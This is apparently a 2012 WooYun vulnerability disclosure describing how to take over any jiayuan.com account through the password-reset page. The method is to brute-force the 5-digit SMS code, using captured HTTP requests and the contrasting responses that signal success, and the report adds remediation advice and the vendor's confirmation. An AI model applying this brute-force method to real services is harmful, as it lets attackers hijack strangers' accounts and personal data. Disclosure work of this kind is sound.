当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014596

漏洞标题:光棍节屌丝的逆袭专场NO.2---世纪佳缘网修改任意妹子账号密码漏洞

相关厂商:世纪佳缘

漏洞作者: 风萧萧

提交时间:2012-11-10 17:37

修复时间:2012-12-25 17:37

公开时间:2012-12-25 17:37

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-10: 细节已通知厂商并且等待厂商处理中
2012-11-13: 厂商已经确认,细节仅向厂商公开
2012-11-23: 细节向核心白帽子及相关领域专家公开
2012-12-03: 细节向普通白帽子公开
2012-12-13: 细节向实习白帽子公开
2012-12-25: 细节向公众公开

简要描述:

欢迎各位继续观看,光棍屌丝再次逆袭!

详细说明:

1.仍然是逻辑bug,进入世纪佳缘交友网主站:

1.jpg


2.找到【忘记密码?】,点击进入吧!找到【点击发送验证码】,还等什么

2.jpg


3.此时我手机上已经收到5为纯数字的短信码(区别图片验证码,这里称为短信码)为【66283】,我这里首先随意填写一个短信码66100,点击下一步,这里注意抓包

3.jpg


4.查看POST的请求如下:

POST /login/dovalidate.php HTTP/1.1
Host: www.jiayuan.com
Proxy-Connection: keep-alive
Content-Length: 59
Origin: http://www.jiayuan.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.jiayuan.com/login/validate.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=***********
mail=&mobile=1*********9&validate_code=&m_code=66100&json=1


5.上述mobile参数为需要重置的手机号码,m_code参数即为短信码,那么我这里对短信码进行爆破,由于是测试我从66100开始

4.jpg

5.jpg

漏洞证明:

6.我们可以通过返回内容的字节数进行判断是否获取到正确的短信码,在这里532个字节表示短信码不正确,而396个字节表示成功获取到短信码:

6.jpg


7.当然也可以通过返回的内容来判断,如果短信码错误,则返回如下报错信息:

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 08 Nov 2012 13:36:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
P3P: CP="CAO PSA OUR"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 221
{"url":"javascript:history.back()","message":"\u624b\u673a\u9a8c\u8bc1\u7801\u9519\u8bef","reason":"\u624b\u673a\u9a8c\u8bc1\u7801\u9519\u8bef","howto":"\u8bf7\u8fd4\u56de\u8f93\u5165\u6b63\u786e\u7684\u9a8c\u8bc1\u7801"}
message、reason:手机验证码错误
howto:请返回输入正确的验证码

如果短信码正确则返回如下信息:

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 08 Nov 2012 13:56:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
P3P: CP="CAO PSA OUR"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 86
{"url":"\/login\/forgetpass.php?uid=8******5&hash=fc3da4e********5925a2e16d92668e8ec"}


8.那么使用获取到的短信码进行密码重置的操作吧!

7.jpg


9.屌丝成功逆袭!

10.jpg


11.jpg

修复方案:

1.还有一个很严重的bug,一次取回账号长久可用,我的重置链接如下(怎么获得呢?),但是评估我的账号被恶意重置以及泄露个人信息的风险,隐去最后8位:
http://www.jiayuan.com/login/forgetpass.php?uid=82591085&hash=817b1ffbffd049a61f24f40df36********
只要拿了上述链接,不用走重置密码的流程即可重新更新密码;
2.5位纯数字短信码的爆破,即平均5万次的请求,我使用了burpsuite测试单台机器100线程,4分钟即可重置任意一个手机账号!危险啊
3.短信码可以为5位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?
4.求20rank,求礼物!

版权声明:转载请注明来源 风萧萧@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-11-13 15:47

厂商回复:

非常感谢提醒。我们会尽快修复漏洞。如果是单身,我们非常欢迎成为我们的会员,也会给作者一定的优惠服务。方便的话,请留下联系方式,或者与我们联系也可以。

最新状态:

暂无